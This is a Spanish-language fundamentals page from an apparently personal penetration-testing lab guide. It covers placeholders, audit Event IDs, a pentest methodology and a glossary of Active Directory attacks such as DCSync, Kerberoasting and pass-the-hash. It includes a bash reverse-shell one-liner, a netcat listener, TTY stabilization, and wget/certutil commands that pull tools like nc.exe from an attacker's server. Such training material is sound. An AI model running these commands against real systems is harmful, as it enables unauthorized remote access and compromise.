Volver al laboratorio ~/iphobiuss/fundamentos

Fundamentos

Cómo usar esta base, interpretar resultados y adaptar sus ejemplos. Ir al glosario.

Mi cuadernoFavoritos y lectura guardados solo en este navegador.Cuaderno opcional no disponible.

Sobre la detección y los Event IDs

Los Event IDs que aparecen en cada técnica (4662, 4769, 5140, 5136, etc.) son los técnicamente asociados a la actividad, no una garantía de que queden registrados: dependen de que las políticas de auditoría correspondientes estén habilitadas en el entorno. Trátalos como "dónde mirar si hay auditoría", no como "esto siempre deja rastro".

Los placeholders y qué reemplazar

Los marcadores $IP, $TARGET, $DC_IP, $DOMAIN, $USER, $PASS, $VICTIM y los valores entre <...> se deben reemplazar por valores del laboratorio antes de ejecutar. El sitio no asigna esos valores. Revisa también nombres de archivo y rutas; los ejemplos no se ejecutan sin adaptación.

Ejemplo de la guía
$IP / $TARGET  # IP o FQDN del objetivo
$DC_IP         # IP del Domain Controller
$DOMAIN        # dominio, ej. corp.local
$USER / $PASS  # credenciales autorizadas para el laboratorio
$VICTIM        # cuenta/objeto dentro del alcance
<NT_HASH>      # hash NT para pass-the-hash
<USUARIO_WINDOWS> # nombre que reemplazas en los ejemplos de cmd.exe

Si prefieres asignar variables en Bash, las comillas dobles permiten expandirlas y conservan los espacios; las simples envían el texto literalmente. No confundas esos marcadores con variables propias de un programa: $_GET/$_REQUEST pertenecen a PHP, $sec a PowerShell y DATA al bucle Bash que construye una petición. Identifica la consola y adapta las comillas de cada nivel (consola, SQL, PHP, JSON). En cmd.exe no se expanden variables de Bash.

Las líneas con ... son esquemas abreviados: completa los argumentos que falten antes de ejecutarlas. Un payload escrito para un formulario, JSON o JavaScript no es una orden de terminal. Los bloques que alternan comandos de Kali y del host Windows se ejecutan en sus consolas correspondientes.

Listener y reverse shell

Muchas explotaciones que consiguen ejecución de comandos terminan devolviendo una shell interactiva. Levanta un listener antes de disparar el payload:
Comandos / terminal
rlwrap nc -nlvp 4444          # escucha en el puerto 4444
# payload típico en el objetivo (bash):
bash -i >& /dev/tcp/$IP/4444 0>&1

Estabilizar la TTY

Una reverse shell cruda no maneja Ctrl-C, autocompletado ni editores. Se estabiliza así:
Comandos / terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z, luego en tu terminal:
stty raw -echo; fg
export TERM=xterm

Transferir archivos al objetivo

Para subir herramientas (LinPEAS, binarios, etc.) levantas un servidor y descargas del otro lado:
Comandos / terminal
# en el atacante:
python3 -m http.server 8000
# en el objetivo (Linux / Windows):
wget http://$IP:8000/linpeas.sh
certutil -urlcache -f http://$IP:8000/nc.exe nc.exe

Dónde están las wordlists

La mayoría vienen en la instalación estándar de Kali/Parrot, aunque según la versión y los metapaquetes alguna puede requerir instalarse aparte. Las más usadas:
Ejemplo de la guía
/usr/share/wordlists/rockyou.txt          # contraseñas
/usr/share/seclists/Discovery/Web-Content # rutas web (SecLists)
/usr/share/seclists/Usernames             # usuarios
Si no tienes SecLists: sudo apt install seclists.

Metodología

El proceso es iterativo: una nueva credencial o superficie puede devolverte a la enumeración.

  1. Recon: descubrir hosts, puertos, servicios y dominios
  2. Acceso inicial: primer foothold (web, share, credencial filtrada)
  3. Escalada local: de usuario a root / SYSTEM en el host
  4. Movimiento lateral: saltar a otros hosts con lo recolectado
  5. Escalada de dominio: de un usuario cualquiera a Domain Admin
  6. Impacto / post-explotación: validar alcance, acceso a datos y consecuencias del compromiso

Preparar el entorno paso a paso

Glosario

TGT

Ticket-Granting Ticket: la 'credencial maestra' de Kerberos que prueba tu identidad ante el DC.

TGS

Ticket-Granting Service: ticket para un servicio concreto, obtenido presentando el TGT.

SPN

Service Principal Name: identifica un servicio en AD (ej. MSSQLSvc/host). Base del Kerberoasting.

PAC

Privilege Attribute Certificate: los grupos/privilegios que viajan dentro del ticket Kerberos.

ACL / DACL

Lista de control de acceso de un objeto de AD; sus permisos mal puestos permiten escalar.

Hash NT

Representación de la contraseña de Windows; sirve para pass-the-hash sin conocer el texto.

Kerberoasting

Pedir el TGS de una cuenta con SPN y crackear su contraseña offline.

AS-REP Roasting

Crackear cuentas sin preautenticación Kerberos, a veces sin credenciales previas.

S4U2self / proxy

Extensiones de delegación Kerberos que permiten impersonar a un usuario ante un servicio.

gMSA

Group Managed Service Account: cuenta de servicio con contraseña rotada automáticamente por AD.

DCSync

Abusar de la replicación de AD para pedirle al DC los secretos de cualquier cuenta.

Pass-the-Hash

Autenticarse usando el hash NT en lugar de la contraseña en texto claro.

DPAPI

API de Windows que cifra credenciales guardadas; sus claves permiten descifrarlas.

LSASS

Proceso que guarda credenciales en memoria; volcarlo entrega hashes y tickets.

MAQ

Machine Account Quota: cuántas cuentas de máquina puede crear un usuario (por defecto 10).

ADCS

Active Directory Certificate Services; sus plantillas mal configuradas (ESC1-9) escalan privilegios.

RBCD

Resource-Based Constrained Delegation: delegación configurable desde el objeto destino.

Coerción

Forzar a una máquina a autenticarse contra ti (PrinterBug, PetitPotam) para capturar o relayear.

LOLBin

Living-Off-the-Land Binary: binario legítimo del SO usado con fines ofensivos.

C2

Command & Control: infraestructura para controlar hosts comprometidos de forma remota.